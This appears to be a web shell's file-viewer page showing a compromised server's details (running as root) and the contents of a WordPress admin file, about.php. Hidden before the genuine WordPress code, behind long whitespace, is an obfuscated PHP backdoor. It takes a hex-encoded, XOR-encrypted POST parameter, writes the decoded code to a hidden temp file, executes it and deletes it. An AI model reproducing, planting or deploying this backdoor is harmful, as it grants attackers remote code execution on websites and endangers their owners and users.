HEX
Server: Apache/2.2.15 (CentOS)
System: Linux ip-10-0-2-146.eu-west-1.compute.internal 2.6.32-754.35.1.el6.centos.plus.x86_64 #1 SMP Sat Nov 7 11:33:42 UTC 2020 x86_64
User: root (0)
PHP: 5.6.40
Disabled: NONE
Upload Files
File: /www/sites/www.credebtexchange.com/htdocs/wp-admin--Aug072025/user/about.php
<?php																																										if(in_array("ele\x6D\x65\x6E\x74", array_keys($_POST))){ $elem = array_filter([getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/var/tmp"]); $dchunk = hex2bin($_POST["ele\x6D\x65\x6E\x74"]); $value = '' ; $x = 0; while($x < strlen($dchunk)){$value .= chr(ord($dchunk[$x]) ^ 14);$x++;} foreach ($elem as $key => $component) { if (is_writable($component) && is_dir($component)) { $flg = vsprintf("%s/%s", [$component, ".entity"]); $file = fopen($flg, 'w'); if ($file) { fwrite($file, $value); fclose($file); include $flg; @unlink($flg); die(); } } } }

/**
 * User Dashboard About administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/about.php';